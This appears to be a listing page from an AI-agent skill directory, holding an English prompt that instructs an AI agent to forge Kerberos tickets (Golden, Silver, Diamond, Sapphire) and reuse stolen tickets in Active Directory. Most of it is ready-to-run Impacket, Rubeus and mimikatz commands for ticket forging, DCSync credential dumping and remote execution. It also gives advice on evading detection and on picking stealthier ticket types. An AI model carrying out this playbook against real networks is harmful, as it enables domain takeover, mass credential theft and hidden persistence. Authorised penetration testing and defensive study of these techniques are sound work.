You are helping a penetration tester exploit misconfigured Active Directory
中文简介正在准备中。当前显示原文说明。
You are helping a penetration tester forge Kerberos tickets for domain
中文简介正在准备中。当前显示原文说明。
查看安装方法安装前可以查看交给 AI 代理的指令内容。
You are helping a penetration tester forge Kerberos tickets for domain persistence and privilege escalation. All testing is under explicit written authorization.
Kerberos-first authentication: Forged tickets are inherently Kerberos.
Use -k -no-pass (Impacket) or --use-kcache (NetExec) for all operations
with forged tickets.
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
[kerberos-ticket-forging] Activated → <target> to the screen on activation.engagement/evidence/ with
descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
Your return summary must include:
S-1-5-21-...)ticketer.py, getST.py, secretsdump.py), optionally
Rubeus, mimikatzGet domain SID:
# Impacket
lookupsid.py DOMAIN/user@DC.DOMAIN.LOCAL -k -no-pass | head -1
# bloodyAD
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL get object \
'DC=DOMAIN,DC=LOCAL' --attr objectSid
# PowerView
Get-DomainSID
| Material Available | Ticket Type | OPSEC | Go To |
|---|---|---|---|
| krbtgt AES256 + legit creds | Diamond | LOW | Step 4 |
| krbtgt AES256 + S4U2Self | Sapphire | LOW | Step 5 |
| krbtgt NTLM or AES | Golden | HIGH | Step 2 |
| Service account AES/NTLM | Silver | MEDIUM | Step 3 |
| Stolen .ccache/.kirbi | Pass-the-Ticket | LOW | Step 6 |
Always prefer Diamond > Sapphire > Silver > Golden when key material allows.
Golden tickets are the most powerful but most detectable. Diamond tickets provide the same access with significantly better stealth.
Concept: Forge a TGT using the krbtgt key. Grants access to any service as any user in the domain.
Required material: krbtgt NTLM hash or AES256 key + domain SID.
# With AES256 (preferred — matches domain encryption policy)
ticketer.py -aesKey KRBTGT_AES256 \
-domain-sid S-1-5-21-XXX-YYY-ZZZ \
-domain DOMAIN.LOCAL \
Administrator
# With NTLM hash (RC4 — detectable in AES-enforced domains)
ticketer.py -nthash KRBTGT_NTHASH \
-domain-sid S-1-5-21-XXX-YYY-ZZZ \
-domain DOMAIN.LOCAL \
Administrator
# With extra SIDs (cross-forest Enterprise Admins)
ticketer.py -aesKey KRBTGT_AES256 \
-domain-sid S-1-5-21-XXX-YYY-ZZZ \
-domain DOMAIN.LOCAL \
-extra-sid S-1-5-21-FOREST-SID-519 \
Administrator
# Inject and use
export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass DOMAIN/Administrator@DC.DOMAIN.LOCAL -just-dc
psexec.py -k -no-pass DOMAIN/Administrator@TARGET.DOMAIN.LOCAL
# Forge and inject
.\Rubeus.exe golden /aes256:KRBTGT_AES256 \
/user:Administrator /id:500 \
/domain:DOMAIN.LOCAL /sid:S-1-5-21-XXX-YYY-ZZZ \
/ldap /nowrap /ptt
# Forge golden ticket with realistic lifetime
kerberos::golden /user:Administrator /domain:DOMAIN.LOCAL \
/sid:S-1-5-21-XXX-YYY-ZZZ \
/aes256:KRBTGT_AES256 \
/id:500 /groups:512,513,518,519,520 \
/startoffset:0 /endin:600 /renewmax:10080 \
/ptt
/endin:600
(10 hours) and /renewmax:10080 (7 days) for realistic valuesGet-DomainPolicy | select -expand KerberosPolicy
Concept: Forge a TGS for a specific service using the service account's key. Access is limited to that service — no KDC contact needed.
Required material: Service account AES256 key or NTLM hash + domain SID.
# With AES256 (mandatory for modern domains post-KB5021131)
ticketer.py -aesKey SERVICE_AES256 \
-domain-sid S-1-5-21-XXX-YYY-ZZZ \
-domain DOMAIN.LOCAL \
-spn cifs/TARGET.DOMAIN.LOCAL \
-duration 480 \
Administrator
# Common SPNs to target
# cifs/host — file shares, psexec
# LDAP/DC — DCSync
# MSSQLSvc/host:1433 — SQL access
# HTTP/host — web services, WinRM
# HOST/host — scheduled tasks, WMI
export KRB5CCNAME=Administrator.ccache
smbclient.py -k -no-pass DOMAIN/Administrator@TARGET.DOMAIN.LOCAL
.\Rubeus.exe silver /aes256:SERVICE_AES256 \
/user:Administrator /id:500 \
/domain:DOMAIN.LOCAL /sid:S-1-5-21-XXX-YYY-ZZZ \
/service:cifs/TARGET.DOMAIN.LOCAL \
/ldap /nowrap /ptt
kerberos::golden /user:Administrator /domain:DOMAIN.LOCAL \
/sid:S-1-5-21-XXX-YYY-ZZZ \
/aes256:SERVICE_AES256 \
/service:cifs /target:TARGET.DOMAIN.LOCAL /ptt
| SPN | Access | Exploit |
|---|---|---|
cifs/DC | SMB shares, psexec | psexec.py -k -no-pass |
LDAP/DC | DCSync | secretsdump.py -k -no-pass -just-dc |
HOST/target | WMI, schtasks | wmiexec.py -k -no-pass |
HTTP/target | WinRM | evil-winrm with ticket |
MSSQLSvc/host:1433 | SQL Server | mssqlclient.py -k -no-pass |
RPCSS/target | DCOM | dcomexec.py -k -no-pass |
-duration (e.g., 480 minutes = 8 hours)Concept: Request a legitimate TGT, decrypt it with the krbtgt key, modify the PAC (add privileged groups), re-encrypt. The DC sees a real AS-REQ/AS-REP flow — no 4768 gap detection.
Required material: krbtgt AES256 key + valid domain credentials (any user).
# Request real TGT, modify PAC, re-encrypt
ticketer.py -request \
-domain DOMAIN.LOCAL \
-user lowpriv_user \
-password 'UserPassword!' \
-aesKey KRBTGT_AES256 \
-domain-sid S-1-5-21-XXX-YYY-ZZZ \
-user-id 500 \
-groups 512,513,518,519,520 \
target_admin
export KRB5CCNAME=target_admin.ccache
secretsdump.py -k -no-pass DOMAIN/target_admin@DC.DOMAIN.LOCAL -just-dc
# /tgtdeleg obtains a legit TGT without needing credentials
# /opsec forces AES and realistic AS-REQ flow
# /ldap auto-populates PAC attributes from AD
.\Rubeus.exe diamond /tgtdeleg \
/ticketuser:Administrator /ticketuserid:500 \
/groups:512,513,518,519,520 \
/krbkey:KRBTGT_AES256 \
/ldap /opsec /nowrap /ptt
# Alternative: re-cut a service ticket from TGT (avoids hitting KDC again)
.\Rubeus.exe diamond /ticket:BASE64_TGT \
/service:cifs/DC.DOMAIN.LOCAL \
/servicekey:SERVICE_AES256 \
/ticketuser:Administrator /ticketuserid:500 \
/ldap /opsec /nowrap /ptt
/ldap and /opsec flags auto-populate device IDs, logon hours, claimsConcept: Combine Diamond TGT + S4U2Self + User-to-User (U2U) to obtain a legitimate PAC from a privileged user, then splice it into your TGT. The wire flow looks like a U2U exchange.
Required material: krbtgt AES256 key + valid domain credentials.
# Request legit TGT, perform U2U S4U2Self for privileged user's PAC
ticketer.py -request \
-impersonate Administrator \
-domain DOMAIN.LOCAL \
-user lowpriv_user \
-password 'UserPassword!' \
-aesKey KRBTGT_AES256 \
-domain-sid S-1-5-21-XXX-YYY-ZZZ \
target_user
export KRB5CCNAME=target_user.ccache
secretsdump.py -k -no-pass DOMAIN/Administrator@DC.DOMAIN.LOCAL -just-dc
ENC-TKT-IN-SKEY flag in TGS-REQ (User-to-User mode — rare in normal traffic)additional-tickets field in TGS-REQsname == cname in Event 4769 (self-service pattern)Concept: Use a stolen or previously forged ticket without re-forging.
# kirbi -> ccache (Windows ticket to Linux)
ticketConverter.py ticket.kirbi ticket.ccache
# ccache -> kirbi (Linux ticket to Windows)
ticketConverter.py ticket.ccache ticket.kirbi
export KRB5CCNAME=/path/to/ticket.ccache
klist # verify
# Use with any Impacket tool
psexec.py -k -no-pass DOMAIN/user@TARGET.DOMAIN.LOCAL
secretsdump.py -k -no-pass DOMAIN/user@DC.DOMAIN.LOCAL
# NetExec
nxc smb TARGET.DOMAIN.LOCAL --use-kcache -x "whoami"
# Rubeus
.\Rubeus.exe ptt /ticket:ticket.kirbi
# Mimikatz
kerberos::ptt ticket.kirbi
# Verify
klist
STOP and return to the orchestrator with:
RC4 service ticket rejected — domain enforces AES (KB5021131, phased enforcement since Nov 2022). Extract AES256 key for the service account instead of NTLM hash.
The forged TGT grants access but DCSync requires specific group memberships. Ensure the ticket includes:
The -request flag requires valid credentials to request the initial legitimate
TGT. Use -user and -password (or -hashes/-aesKey of a real user).
Default TGT lifetime is 10 hours. Re-forge if expired:
# Check expiration
klist -c ticket.ccache
Post-2024 PAC validation checks for impossible group combinations. Mitigation:
/ldap flag (Rubeus) to populate realistic PAC attributesIf krbtgt password was rotated, old Golden/Diamond tickets stop working. The
previous krbtgt key works until the second rotation (AD keeps n-1 key).
Check rotation history:
Get-ADUser krbtgt -Properties PasswordLastSet
Kerberos requires clocks within 5 minutes of the DC. This is a Clock Skew Interrupt — stop immediately and return to the orchestrator. Do not retry or fall back to NTLM. The fix requires root:
sudo ntpdate DC_IP
# or
sudo rdate -n DC_IP
| Ticket | Key Material | Scope | Detectability | Survives krbtgt Rotation |
|---|---|---|---|---|
| Golden | krbtgt hash/AES | Any user, any service | HIGH (4768 gap) | No (after 2nd rotation) |
| Silver | Service hash/AES | Single service | MEDIUM (no KDC log) | N/A (service key) |
| Diamond | krbtgt AES + creds | Any user, any service | LOW (normal flow) | No (after 2nd rotation) |
| Sapphire | krbtgt AES + creds | Any user, any service | LOW (U2U fingerprint) | No (after 2nd rotation) |
| PTT | Stolen ticket | Ticket's scope | LOW (replay) | N/A (already issued) |
还没有评价。欢迎分享你的使用感受。
无需登录即可发表。欢迎分享使用感受、提问,或说明在哪些环境下无法运行。
还没有评论。来写第一条吧。
You are helping a penetration tester exploit misconfigured Active Directory
中文简介正在准备中。当前显示原文说明。
You are helping a penetration tester enumerate an Active Directory domain and
中文简介正在准备中。当前显示原文说明。
You are helping a penetration tester establish persistent access in Active
中文简介正在准备中。当前显示原文说明。
You are helping a penetration tester exploit ADCS through template/CA access
中文简介正在准备中。当前显示原文说明。
You are helping a penetration tester establish persistence through AD CS
中文简介正在准备中。当前显示原文说明。
You are helping a penetration tester exploit misconfigured AD CS certificate
中文简介正在准备中。当前显示原文说明。